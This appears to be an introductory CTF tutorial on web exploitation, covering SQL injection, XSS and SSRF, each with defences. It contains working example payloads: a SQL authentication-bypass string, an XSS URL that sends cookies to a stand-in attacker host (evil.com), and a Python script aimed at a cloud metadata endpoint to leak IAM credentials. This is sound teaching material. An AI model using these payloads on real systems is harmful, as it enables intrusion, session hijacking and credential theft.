Web Exploitation Basics

Why Web Exploitation Matters

Web applications are the most common attack surface in modern organizations. Every login form, search bar, and API endpoint is a potential entry point. In CTF competitions, web challenges consistently appear as the most popular category because they mirror real-world vulnerabilities that defenders encounter daily.

Understanding web exploitation is not just about capturing flags — it builds the intuition needed to write secure code, review pull requests for security flaws, and design systems that resist attack. This guide covers the essential vulnerability classes you will encounter in beginner and intermediate CTF web challenges.

SQL Injection

SQL injection occurs when user input is concatenated directly into database queries without proper sanitization. The attacker manipulates the query logic to extract data, bypass authentication, or modify records.

Classic Authentication Bypass

Consider a login form that builds its query by string concatenation:

SELECT * FROM users
WHERE username = '{input_username}'
AND password = '{input_password}';

An attacker submits admin' OR '1'='1' -- as the username. The resulting query becomes:

SELECT * FROM users
WHERE username = 'admin' OR '1'='1' --'
AND password = '';

The -- comments out the password check, and '1'='1' is always true. The query returns the admin row regardless of the password provided.

Defending Against SQL Injection

The fix is straightforward — use parameterized queries:

import sqlite3
 
conn = sqlite3.connect("app.db")
cursor = conn.cursor()
 
# Parameterized query — user input never touches the SQL structure
cursor.execute(
    "SELECT * FROM users WHERE username = ? AND password = ?",
    (username, password_hash),
)

• Always use parameterized queries or prepared statements
• Never concatenate user input into SQL strings
• Apply the principle of least privilege to database accounts
• Use an ORM when possible — most ORMs parameterize by default

[!WARNING] In CTF challenges, you may find SQL injection in unexpected places: HTTP headers, cookies, JSON fields, or file upload metadata. Always test every input vector, not just form fields.

Cross-Site Scripting (XSS)

XSS vulnerabilities allow attackers to inject client-side scripts into web pages viewed by other users. The impact ranges from session hijacking to full account takeover.

Reflected XSS Example

A search page that echoes the query parameter without encoding:

<h2>Search results for: <?= $_GET['q'] ?></h2>

An attacker crafts a URL like:

http://target.com/search?q=<script>document.location='http://evil.com/steal?c='+document.cookie</script>

When a victim clicks the link, their browser executes the injected script and sends their session cookie to the attacker's server.

Types of XSS

• Reflected — Payload is part of the request and reflected in the response. Requires the victim to click a crafted link.
• Stored — Payload is saved on the server (e.g., in a comment or profile field) and served to every user who views the page.
• DOM-based — The vulnerability exists entirely in client-side JavaScript that processes URL fragments or other DOM sources unsafely.

Burp Suite intercepting a web request

Figure 2: Using Burp Suite to intercept and modify HTTP requests during a web exploitation challenge.

Server-Side Request Forgery (SSRF)

SSRF tricks a server into making requests to unintended destinations. This is particularly dangerous in cloud environments where internal metadata services expose sensitive credentials.

Exploiting SSRF in a URL Preview Feature

Many applications fetch URLs on behalf of users — link previews, webhook integrations, or PDF generators. If the server does not validate the destination:

import requests
 
# The application has a "preview URL" feature
target = "http://vulnerable-app.com/api/preview"
 
# Point it at the cloud metadata service
payload = {"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}
 
response = requests.post(target, json=payload)
print(response.text)  # Leaks AWS IAM credentials

SSRF Mitigation Checklist

• Validate and whitelist allowed destination hosts and protocols
• Block requests to private IP ranges (10.x, 172.16.x, 192.168.x, 169.254.x)
• Use a dedicated HTTP client with timeouts and redirect limits
• Run URL-fetching services in isolated network segments without access to internal resources

Practical CTF Methodology

When approaching a web challenge in a CTF, follow a systematic methodology:

• Enumerate — Map all endpoints, parameters, and input vectors
• Identify — Determine the technology stack (headers, error messages, default pages)
• Test — Probe each input with common payloads for SQLi, XSS, SSRF, path traversal
• Exploit — Develop a working exploit once you confirm a vulnerability class
• Extract — Retrieve the flag from the application, database, or filesystem

Essential Tools

• Burp Suite — Intercepting proxy for manual testing and request modification
• sqlmap — Automated SQL injection detection and exploitation
• ffuf / gobuster — Directory and parameter fuzzing
• CyberChef — Encoding, decoding, and data transformation

Next Steps

Web exploitation is a deep field. Once you are comfortable with SQLi and XSS, explore more advanced topics: deserialization attacks, template injection (SSTI), race conditions, and OAuth misconfigurations. Each builds on the fundamental principle of understanding how data flows through an application and where trust boundaries break down.

Join our next Buna Byte CTF event to put these techniques into practice against purpose-built challenges in a safe, competitive environment.